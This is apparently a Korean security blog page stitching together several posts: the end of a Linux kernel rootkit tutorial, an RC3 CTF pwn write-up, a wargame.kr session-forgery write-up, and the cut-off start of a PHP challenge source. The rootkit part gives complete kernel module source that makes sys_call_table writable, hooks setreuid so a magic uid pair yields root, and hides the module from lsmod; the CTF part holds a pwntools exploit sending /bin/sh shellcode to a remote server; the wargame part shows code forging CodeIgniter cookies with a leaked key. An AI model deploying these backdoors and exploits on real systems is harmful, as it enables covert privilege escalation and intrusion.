((mm)->pgd+pgd_index(address)) -------------------------------------------------------------- 가상 주소의 페이지 전역 디렉토리를 구해주는 매크로입니다. page_offset_k(address)의 역할은 pgd_offset(&init_mm, address)와 같습니다. 즉, init_mm->pgd의 주소 값에 pgd_index 매크로를 통해서 구한 address의 상대주소(offset)을 더해서 전역 디렉토리의 주소 값을 구하는 것입니다. init_mm->pgd는 커널 페이지 디렉토리의 시작 주소를 담고 있습니다. ---------------------------- include/asm-x86_64/pgtable.h ---------------------------------------------------------------------------------------- #define pud_offset(pgd, address) ((pud_t *) pgd_page_vaddr(*(pgd)) + pud_index(address)) ---------------------------------------------------------------------------------------- 페이지 전역 디렉토리를 통해 페이지 상위 디렉토리를 구하는 매크로이며 4단계 페이징이 아닌 시스템에서 해당 매크로를 사용하면 인자로 입력된 값은 변하지 않습니다. --------------------------------------- linux/include/asm-i386/pgtable-3level.h ---------------------------------------------------------------------------------- #define pmd_offset(pud, address) ((pmd_t *) pud_page(*(pud)) + pmd_index(address)) ---------------------------------------------------------------------------------- 페이지 상위 디렉토리를 통해 페이지 중간 디렉토리를 구하는 매크로이며 3단계 또는 4단계 페이징이 아닌 시스템에서 해당 매크로를 사용하면 인자로 입력된 값은 변하지 않습니다. -------------------------------- linux/include/asm-i386/pgtable.h ------------------------------------------------------------------------------------------------ #define pte_offset_kernel(dir, address) ((pte_t *) pmd_page_vaddr(*(dir)) + pte_index(address)) ------------------------------------------------------------------------------------------------ 페이지 중간 디렉토리를 통해 페이지 테이블 엔트리를 구하는 매크로입니다. 추가로 몇 가지 매크로를 더 언급하면 지금까지 소개한 페이지 관련 매크로 밖에도 pgd_none, pgd_present, pud_none, pud_present, pmd_none, pmd_present, pte_none, pte_present 등이 존재하는데 이는 PGD, PUD, PMD, PTE를 구했을 때 일종의 에러 체크를 위하여 제공됩니다. *_present() 계열의 매크로는 PGD ~ PTE가 메모리에 존재하지 않으면 0을 나타내고, *_none() 계열의 매크로는 유효하지 않은 가상 주소에 대한 페이징 과정을 시도할 경우 경우를 체크하기 위해 사용됩니다. 아무튼 지금까지 소개한 매크로를 사용하여 구한 가상주소의 페이지 테이블 엔트리 속성을 변경하여 sys_call_table을 쓰기가 가능 하도록 만들 수 있습니다. 페이지 테이블 엔트리의 각 비트가 의미하는 내용을 간단히 도식화하면 다음과 같습니다. 0 1 2 3 4 5 6 7 8 9 11 12 31 --------------------------------------------------------------------------------------------- | P | R/W | U/S | PWT | PCD | A | D | 0 | G | Avail | Page Base Address | --------------------------------------------------------------------------------------------- P Present R/W Read/Write U/S User/Supervisor PWT Page-level Write-Through PCD Page-level Cache Disable A Accessed D Dirty PS Page Size G Global Avail Reserved/Available 다양한 비트들이 있으며 여기서 우리는 R/W를 사용합니다. 해당 비트가 0으로 설정되면 원칙적으로 읽기만 가능하며 1로 설정되면 읽기와 쓰기 모두 가능합니다. R/W 비트를 1로 설정하는 코드는 다음과 같습니다. 참고로 속성 변경 이후에는 이전에 한번 설명했던 global_flush_tlb(); 함수를 사용해야 합니다. --------------------------- (pte)->pte_low |= _PAGE_RW; --------------------------- R/W 비트를 0으로 설정하는 코드는 다음과 같습니다. ---------------------------- (pte)->pte_low &= ~_PAGE_RW; ---------------------------- 지금까지 알아본 내용을 바탕으로 가상 주소 페이지 테이블의 특정 비트를 끄고 켜는 함수를 만들어 보았습니다. ---------------------------------------------------------------------------------- int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } ---------------------------------------------------------------------------------- 첫 번째 인자는 가상 주소, 두 번째 인자는 속성, 세 번째 인자는 가상 주소에 대한 속성의 추가/제거/세팅을 결정합니다. 마지막 네 번째 인자는 변경되기 전 페이지의 속성 값을 저장할 포인터가 필요합니다. 그런데 함수의 루틴에서 PGD, PUD, PMD, PTE를 구하는 매크로를 모두 사용하면 PUD 또는 PMD가 존재하지 않는 2단계 페이징 혹은 3단계 페이징 시스템에서 문제가 생길 수 있지 않을까 하는 의문이 생길 수 있습니다. 이에 대한 이유는 간단한데, 해당 시스템이 3단계 페이징을 적용하고 있다면 PUD를 구하는 매크로, 2단계 페이징을 적용하고 있다면 PUD와 PMD를 구하는 매크로는 어떠한 작업 수행도 하지 않으며 인자로 주어진 값을 그대로 돌려줍니다. 즉, 위와 같은 코드는 오히려 다양한 페이징 단계에 대한 호환성을 보장 해 주는 역할을 합니다. 마지막으로 아직 위 함수에서 설명하지 않은 루틴을 알아보겠습니다. 다음 코드, 정확히 말하면 pmd_large() 부분입니다. ---------------------------------------------------- if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); ---------------------------------------------------- pmd_large()는 확장 페이징을 사용하는지에 대한 검사를 수행합니다. 확장 페이징이란 크기가 크고 연속된 가상 주소를 위하여 제공 되는 큰 크기(4MB)의 페이지가 그대로 대응되도록 변환하는 것을 말합니다. 중요한 것은 이러한 개념적인 정의 보다는 확장 페이징이 사용될 때는 페이지 디렉토리가 페이지 프레임(물리 메모리)을 가리키고 있다는 것입니다. 위 코드에서 pgd_offset_k() 매크로를 이용하여 페이지 디렉토리를 구한 뒤에 pud_offset(), pmd_offset() 매크로를 사용하는 것을 볼 수 있습니다. 확장 페이징에서 이 두 매크로는 어떠한 작업도 수행하지 않기 때문에 결과적으로 pmd_large() 매크로의 인자값으로 주어진 *pmd는 이전에 구했던 *pgd 값과 동일합니다. 페이지 디렉토리가 가리키는 영역은 확장 페이징에 의한 큰 페이지(4MB)가 되며 즉, 페이지 디렉토리는 다른 단계를 거치지 않고 곧바로 물리 메모리를 가리키고 있는데 이는 다시 말하면, 확장 페이징에서 페이지 디렉토리는 페이지 테이블을 뜻하는 것입니다. 그래서 따로 페이지 테이블을 구하는 pte_offset_kernel() 매크로를 사용할 필요 없이 pmd 포인터를 pte 자료형 형태로 캐스팅해서 사용하면 되는 것입니다. 기존의 테스트에 속성 변경 루틴이 추가 된 코드는 다음과 같으며 부분적인 설명은 주석으로 대체 하였습니다. =- hkm_idt-attr.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/syscalls.h> #include <linux/sched.h> #include <asm/unistd.h> #include <asm/uaccess.h> #include <asm/pgtable.h> #include <asm/cacheflush.h> #define OFF 0 #define ON 1 #define SET 2 void **sys_call_table; asmlinkage int (*orig_setreuid)( uid_t ruid, uid_t euid ); asmlinkage int hk_setreuid( uid_t ruid, uid_t euid ) { if( (ruid == 7310) && (euid == 0137) ) { printk( KERN_ALERT "[Correct]\n" ); current -> uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; return orig_setreuid( 0 , 0 ); } return orig_setreuid( ruid , euid ); } unsigned int *get_sys_call_table( void ) { int cnt; unsigned int sys_offset; char pattern[] = "\xff\x14\x85"; struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) *idt; asm( "sidt %0" : "=m"(idtr) ); idt = (struct idt_gate *)( idtr.base + 0x80*8 ); sys_offset = ((idt->off2) << 16) | (idt->off1); for( cnt = 0 ; cnt < 500 ; cnt++, sys_offset++ ) { if( !strncmp( (char *)sys_offset , pattern , strlen(pattern) )) return (unsigned int *)(*((unsigned int *)(sys_offset +strlen(pattern)))); } return NULL; } int hk_attr_change( unsigned long linear_addr , int attr , int flag , int *value ) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; pgd = pgd_offset_k( linear_addr ); if(!pgd_present(*pgd)) { if(pgd_none(*pgd)) return -0x10; return -0x01; } pud = pud_offset( pgd, linear_addr ); if(!pud_present(*pud)) { if(pud_none(*pud)) return -0x20; return -0x02; } pmd = pmd_offset( pud, linear_addr ); if(!pmd_present(*pmd)) { if(pmd_none(*pmd)) return -0x30; return -0x03; } if( pmd_large(*pmd) ) pte = (pte_t *)pmd; else pte = pte_offset_kernel( pmd, linear_addr ); if(!pte_present(*pte)) { if( pte_none(*pte)) return -0x40; return -0x04; } if( value > 0 ) *value = (pte)->pte_low; if( flag == 0 ) (pte)->pte_low &= ~attr; else if( flag == 1 ) (pte)->pte_low |= attr; else if( flag == 2 ) (pte)->pte_low = attr; else; global_flush_tlb(); return 0; } int __init hk_init( void ) { int val; sys_call_table = (void **)get_sys_call_table(); if( sys_call_table == NULL ) { printk( KERN_ALERT "Can not found the sys_call_table address\n" ); return -1; } // 변경 이전의 페이지 속성을 val 포인터가 가리키도록 한 뒤, sys_call_table 페이지 속성에 RW 비트 추가 if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) < 0 ) return -1; orig_setreuid = sys_call_table[__NR_setreuid32]; sys_call_table[__NR_setreuid32] = hk_setreuid; // sys_call_table 페이지 속성을 원상태(페이지 권한 변경 이전의 속성값을 가리키고 있는 val 포인터)로 복구 if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_init] sys_call_table attribute restoration failed\n" ); printk( KERN_ALERT "Module init\n" ); return 0; } void __exit hk_exit( void ) { int val; // 변경 이전의 페이지 속성을 val 포인터가 가리키도록 한 뒤, sys_call_table 페이지 속성에 RW 비트 추가 if( (hk_attr_change( (unsigned long)sys_call_table, _PAGE_RW, ON, &val )) == 0 ) { sys_call_table[__NR_setreuid32] = orig_setreuid; // sys_call_table 페이지 속성을 원상태(페이지 권한 변경 이전의 속성값을 가리키고 있는 val 포인터)로 복구 if( (hk_attr_change( (unsigned long)sys_call_table, val, SET, NULL )) < 0 ) printk( KERN_ALERT "[hk_exit] sys_call_table attribute restoration failed\n" ); } printk( KERN_ALERT "Module exit\n" ); } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/hk modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/hk/hkm_idt-attr.o Building modules, stage 2. MODPOST 1 modules CC /root/hk/hkm_idt-attr.mod.o LD [M] /root/hk/hkm_idt-attr.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost hk]# insmod hkm_idt-attr.ko ------------------------------------------------------------------- 마지막으로 hkpco 계정에서 루트킷이 정상 작동하는지 테스트 해보겠습니다. ------------------------------------------------------------------------------------------------------- [hkpco@localhost hkpco]$ id uid=500(hkpco) gid=500(hkpco) groups=500(hkpco) context=root:system_r:unconfined_t:SystemLow-SystemHigh [hkpco@localhost hkpco]$ cat go.c int main( void ) { setreuid( 7310 , 0137 ); system( "/bin/sh" ); } [hkpco@localhost hkpco]$ ./go sh-3.1# id uid=0(root) gid=0(root) groups=500(hkpco) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023 ------------------------------------------------------------------------------------------------------- 지금까지 sys_call_table의 페이지 속성을 직접 변경하여 시스템 콜을 가로채고 복구하는 방법을 알아보았습니다. 이 기술은 주위 환경에 영향을 미치지 않고 속성 변경을 위한 대상이 sys_call_table 하나에 국한되어 있다는 점에서 지금까지 소개한 방법 중 가장 안정적이라고 할 수 있습니다. 0xa. Kernel Module Hiding 커널 모듈을 리스트에서 제거하여 lsmod 명령, /proc/modules 열람 등 일반적인 확인으로는 찾아내지 못하도록 모듈을 숨기는 방법을 알아 보겠습니다. 설명에 앞서 모듈을 숨기는 코드를 테스트 할 것이며 해당 소스 코드는 다음과 같습니다. =- hkm_hiding.c -= #include <linux/init.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/list.h> int hk_init( void ) { list_del_init( &__this_module.list ); printk( KERN_ALERT "Module Hiding\n" ); return 0; } void hk_exit( void ) { } module_init( hk_init ); module_exit( hk_exit ); MODULE_LICENSE( "GPL" ); =- End Of Code -= 다음은 모듈을 컴파일한 뒤 커널에 로드하는 과정입니다. ----------------------------------------------------------------------- [root@localhost hk]# make make -C /lib/modules/2.6.23.1-42.fc8/build SUBDIRS=/root/kernel modules make[1]: Entering directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' CC [M] /root/kernel/hkm_hiding.o Building modules, stage 2. MODPOST 1 modules CC /root/kernel/hkm_hiding.mod.o LD [M] /root/kernel/hkm_hiding.ko make[1]: Leaving directory `/usr/src/kernels/2.6.23.1-42.fc8-i686' [root@localhost kernel]# insmod hkm_hiding.ko ----------------------------------------------------------------------- 커널에 적재된 모듈의 이름과 간략한 상태 등의 정보를 출력해 주는 lsmod 명령과 /proc/modules 파일의 열람을 통하여 hkm_hiding 모듈을 찾을 수 있는지 확인하여 보겠습니다. ------------------------------------------------------------ < lsmod 명령을 통한 확인 > [root@localhost kernel]# lsmod Module Size Used by rfcomm 36825 0 l2cap 25537 9 rfcomm bluetooth 49316 4 rfcomm,l2cap autofs4 20421 2 . . mbcache 10177 1 ext3 uhci_hcd 23633 0 ohci_hcd 21445 0 ehci_hcd 31693 0 [root@localhost kernel]# /sbin/lsmod | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ ------------------------------------------------------------ < /proc/modules 열람을 통한 확인 > [root@localhost kernel]# cat /proc/modules rfcomm 36825 0 - Live 0xd0b0c000 l2cap 25537 9 rfcomm, Live 0xd0af1000 bluetooth 49316 4 rfcomm,l2cap, Live 0xd0b3c000 autofs4 20421 2 - Live 0xd0af9000 . . uhci_hcd 23633 0 - Live 0xd0824000 ohci_hcd 21445 0 - Live 0xd0835000 ehci_hcd 31693 0 - Live 0xd082c000 [root@localhost kernel]# cat /proc/modules | grep hkm_hiding [root@localhost kernel]# ------------------------------------------------------------ 위와 같이 커널에 로드된 hkm_hiding 모듈은 찾을 수 없습니다. 이러한 결과는 아래 한 줄의 코드로 이루어진 것입니다. ------------------------------------- list_del_init( &__this_module.list ); ------------------------------------- 그럼 먼저 list_del_init()가 어떻게 정의되어 있는지 살펴보겠습니다. 다음과 같습니다. --------------------------------------------------------- linux/include/linux/list.h --------------------------------------------------------- static inline void list_del_init(struct list_head *entry) { __list_del(entry->prev, entry->next); INIT_LIST_HEAD(entry); } --------------------------------------------------------- list_del_init() 인라인 함수의 인자로 주어진 포인터 변수의 원형인 list_head 구조체는 다음과 같이 정의되어 있습니다. -------------------------------------- linux/include/linux/list.h -------------------------------------- struct list_head { struct list_head *next, *prev; }; -------------------------------------- list_del_init()는 __list_del()과 INIT_LIST_HEAD()를 호출하며 각각 다음과 같이 정의되어 있습니다. ------------------------------------------------------------------------------- linux/include/linux/list.h ------------------------------------------------------------------------------- static inline void __list_del(struct list_head * prev, struct list_head * next) { next->prev = prev; prev->next = next; } static inline void INIT_LIST_HEAD(struct list_head *list) { list->next = list; list->prev = list; } ------------------------------------------------------------------------------- 모듈 리스트는 이중 연결 리스트로 관리되고 있기 때문에 모듈의 추가 또는 제거 작업의 편의성을 위하여 위와 같은 인라인 함수를 정의해 두고 있습니다. __list_del()은 함수명에서 알 수 있듯이 이중 연결 리스트의 한 요소를 제거하는 작업을 수행하는데, 인자는 각각 제거할 리스트가 가리키고 있는 이전 리스트와 이후 리스트를 필요로 합니다. list_del_init()의 인자로 주어진 연결 리스트는 __list_del() 인라인 함수의 수행 이후 더이상 사용되지 않으므로 INIT_LIST_HEAD() 인라인 함수를 이용하여 초기화 해줍니다. 그럼 이제 처음으로 돌아가서 list_del_init() 인라인 함수의 인자로 주어진 __this_module.list에 대하여 알아보겠습니다. __this_module은 현재 모듈의 정보를 가지고 있는 구조체이며 다음과 같이 정의되어 있습니다. ----------------------------------- linux/include/linux/module.h ----------------------------------- extern struct module __this_module; ----------------------------------- __this_module은 module 구조체로 선언되어진 것을 볼 수 있습니다. module 구조체는 다음과 같이 정의되어 있습니다. -------------------------------------------------------------------- struct module { enum module_state state; /* Member of list of modules */ struct list_head list; /* Unique handle for this module */ char name[MODULE_NAME_LEN]; /* Sysfs stuff. */ struct module_kobject mkobj; struct module_param_attrs *param_attrs; . . . /* Per-cpu data. */ void *percpu; /* The command line arguments (may be mangled). People like keeping pointers to this stuff */ char *args; }; -------------------------------------------------------------------- __this_module.list는 현재 모듈에 대한 연결 리스트를 의미합니다. 그래서 해당 구조체의 필드값을 list_del_init()의 인자로 주면 모듈을 관리하는 이중 연결 리스트에서 제거되어 모듈이 숨겨지는 원리입니다. list_del_init() 인라인 함수의 내부 수행과정은 __list_del(), INIT_LIST_HEAD() 순으로 이루어집니다. 결국 두개의 인라인 함수를 하나로 묶어둔 것인데, 모듈을 숨기기 위하여 list_del_init()를 호출했을 때의 전 과정을 간단히 도식화 하면 다음과 같습니다. 참고로 대상 모듈은 "module 2" 입니다. < list_del_init() 수행 전 > list_head module 1 module 2 module 3 =================== =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== =================== < list_del_init() 내부의 __list_del() 수행 후 > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== ^ ^ | module 2 | | =================== | --| prev | next |-| =================== < list_del_init() 내부의 INIT_LIST_HEAD() 수행 후 > list_head module 1 module 3 =================== =================== =================== (NULL)<-| prev | next |<----->| prev | next |<----->| prev | next |->(NULL) =================== =================== =================== module 2 =================== | prev | next | =================== 이중 연결 리스트로 모듈들이 관리되고 있으며 특정 모듈(여기서는 module 2)을 삭제하기 위해 list_del_init() 인라인 함수를 호출 하였습니다. 위에서도 언급한 것 처럼 두 개의 인라인 함수를 묶어둔 list_del_init()는 먼저 __list_del()이 수행되면 module 2가 연결 리스트에서 제거되는데 module 2의 prev, next 필드는 여전히 module 1, 2를 가리키고 있으므로 INIT_LIST_HEAD()를 이용하여 module 2의 두 필드를 모두 초기화 시켜주는 것입니다. 0xb. Conclusion 지금까지 시스템 콜 제어를 중심으로 커널 레벨에서의 다양한 핵심 기술들을 알아 보았습니다. 문서를 쓰면서 가장 많이 참고했던 자료는 리눅스 커널 소스 코드였는데 이렇게 모든 것이 사용자에게 공개 되어있다는 점에서 정말로 매력있는 운영체제라는 생각을 다시한번 하였습니다. 마지막으로 기술이라는 것은 항상 양날의 칼과 같은 성향을 지니고 있기 때문에 여기서 소개한 기술도 역시 어떻게 사용 되는지에 따라 다양하게 변화될 수 있습니다. 본 문서가 부디 좋은 부분에 쓰이길 바라며 이만 마치겠습니다.


'자료' 카테고리의 다른 글

[펌] 동적 메모리 관리  (0) 2016.12.26
[Heap] how2heap (shellpish)  (0) 2016.12.25
[C++] 브루트 포싱(Brute Forcing)  (0) 2016.07.30
주로 사용하는 헤더들  (0) 2016.05.18
[Tip] 해커스쿨 자료 얻기.  (0) 2016.03.25
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

RC3 CTF에서 낸 문제다.


static compiled 바이너리가 주어지고 풀어주면 되는데,




다시 풀어봤는데..


쉘코드가 문제였던거 같다. 



from pwn import *
import time

#con = process("IMS-easy")
#ims.ctf.rc3.club 7777
con = remote("ims.ctf.rc3.club", 7777)

#0x080bfb66 : push esp , ret
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""

for i in range(7):
	print con.recvuntil("Choose: ")
	con.sendline("1")
	print con.recvuntil("ID: ")
	con.sendline("135002982")	# push esp, ret
	print con.recvuntil("code: ")
	con.sendline(p64(0x080bfb66080bfb66))	# dummy
	con.recvline()
	con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[8:12])))
print con.recvuntil("code: ")
con.sendline(shellcode[0:8])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[20:24])))
print con.recvuntil("code: ")
con.sendline(shellcode[12:20])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(0))
print con.recvuntil("code: ")
con.sendline("\x80\x90\x90\x90\x90\x90\x90\x90")
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("4")

payload += "4\n"

time.sleep(1)

con.interactive()
	
con.close()

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.


예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,


이건 xss는 물론이고 sql injection까지 가능한 취약점이다.


왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)


먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.


아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.

 

function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
	$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{
			$this->userdata[$key] = $val;
		}
	}

	$this->sess_write();
}
function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
		$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{	
			$this->userdata[$key] = $val;
		}
	}
	$this->sess_write();
}
function sess_write()
{
	// Are we saving custom data to the DB?  If not, all we do is update the cookie
	if ($this->sess_use_database === FALSE)
	{
		$this->_set_cookie();
		return;
	}

	// set the custom userdata, the session data we will set in a second
	$custom_userdata = $this->userdata;
	$cookie_userdata = array();

	// Before continuing, we need to determine if there is any custom data to deal with.
	// Let's determine this by removing the default indexes to see if there's anything left in the array
	// and set the session data while we're at it
	foreach (array('session_id','ip_address','user_agent','last_activity') as $val)
	{
		unset($custom_userdata[$val]);
		$cookie_userdata[$val] = $this->userdata[$val];
	}

	// Did we find any custom data?  If not, we turn the empty array into a string
	// since there's no reason to serialize and store an empty array in the DB
	if (count($custom_userdata) === 0)
	{
		$custom_userdata = '';
	}
	else
	{
		// Serialize the custom data array so we can store it
		$custom_userdata = $this->_serialize($custom_userdata);
	}

	// Run the update query
	$this->CI->db->where('session_id', $this->userdata['session_id']);
	$this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata));

	// Write the cookie.  Notice that we manually pass the cookie data array to the
	// _set_cookie() function. Normally that function will store $this->userdata, but
	// in this case that array contains custom data, which we do not want in the cookie.
	$this->_set_cookie($cookie_userdata);
}
function _set_cookie($cookie_data = NULL)
{
	if (is_null($cookie_data))
	{
		$cookie_data = $this->userdata;
	}

	// Serialize the userdata for the cookie
	$cookie_data = $this->_serialize($cookie_data);

	if ($this->sess_encrypt_cookie == TRUE)
	{
		$cookie_data = $this->CI->encrypt->encode($cookie_data);
	}

	// $this->encryption_key = Th1s1sEncrypt10nkey
	$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

	$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

	// Set the cookie

	setcookie(
		$this->sess_cookie_name,
		$cookie_data,
		$expire,
		$this->cookie_path,
		$this->cookie_domain,
		$this->cookie_secure
	);
}


호출 순서는 


set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.


먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고


sess_write함수를 호출해준다.


sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를 


호출해준다.


마지막의  _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.


sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.


보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,


config.php에 있으니까 참조하길 바란다.


그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.


여기까지는 아무 문제 없다고 생각은 하지만


정작 wargame.kr소스코드를 보게 되면


[ wargamekr_helper.php ]
function is_admin(){
	$admin_list = ['bughela'];
	$CI = &get_instance();
	if (!is_logged_in()) return false;
	if (!in_array($CI->session->userdata('name'), $admin_list)) return false;
	return true;
}

[ main_model.php ]
function chat($chat = ''){
	$chat = trim($chat);
	if ($chat == '') return false;
	if (!is_logged_in()) return false;

	$name = $this->session->userdata('name');
	$chat = [
		'name' => $name,
		'chat' => $chat,
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];

	$this->db->insert('chat_log', $chat);

	$result = $this->db
		->where('name', $name)
		->from('chat_log')
		->count_all_results();

	if ($result > 100){
		$this->load->model("achievement_model", "achievement");
		$this->achievement->take("chatterbox");
	}
}

[ board_model.php ]
function write($input){
	if (!is_logged_in()) return false;
	$data = [
		'title' => htmlspecialchars($input['title']),
		'secret' => $input['secret'],
		'contents' => htmlspecialchars($input['contents']),
		'writer' => $this->session->userdata('name'),
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];
	
	$result = $this->db->insert('board', $data);
	$name = $this->session->userdata('name');
	$result = $this->db
	->where('writer', $name)
	->from('board')
	->count_all_results();
	
	if ($result == 10) {
		$this->achievement->take("BBS mania");
	}
}

[ board_model.php ]
function write_reply($contents, $idx = 0){
	if (!is_logged_in()) return false;
	$contents = trim($contents);
	if ($contents == "") return false;

	$idx = intval($idx);
	$result = $this->db
		->select('idx')
		->where('secret', 0)
		->or_where('writer', $this->session->userdata('name'))
		->where('idx', $idx)
		->get('board');
	if ($result->row()->idx != 1) return false;
	
	$data = [
		'contents' => htmlspecialchars($contents),
		'pidx' => $idx,
		'writer' => $this->session->userdata('name'),
		'reg_date' => date("Y-m-d H:i:s"),
		'reg_ip' => $this->input->ip_address()
	];
	
	$this->db->insert('board_reply', $data);
	$name = $this->session->userdata('name');
	
	$result = $this->db
		->where('writer', $name)
		->from('board_reply')
		->count_all_results();
	if ($result == 50) {
		//$this->achievement->take($name, "");
	}
}


등등의 함수들에서 xss 및 sql injection이 성공한다.


아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.


$arr = array(
	"session_id" => md5("hoho"),
	"ip_address" => "127.0.0.1",
	"user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
	"last_activity" => time(),
	"user_data" => null,
	"name" => "KuroNeko",
	"email" => "nyanpasu@naver.com",
	"lang" => "kor",
	"achievement" => "sewer brew",
	"point" => 99999
);

$ser_arr = serialize($arr);

$encryption_key = "Th1s1sEncrypt10nkey";
$ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key);

echo urlencode($ser_arr);


아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

꺄르륵


'Write up > Wargame' 카테고리의 다른 글

LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","zairo","zairo_pz");
    
mysql_select_db("zairo");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        global 
$count;
        
$flag rand_string();
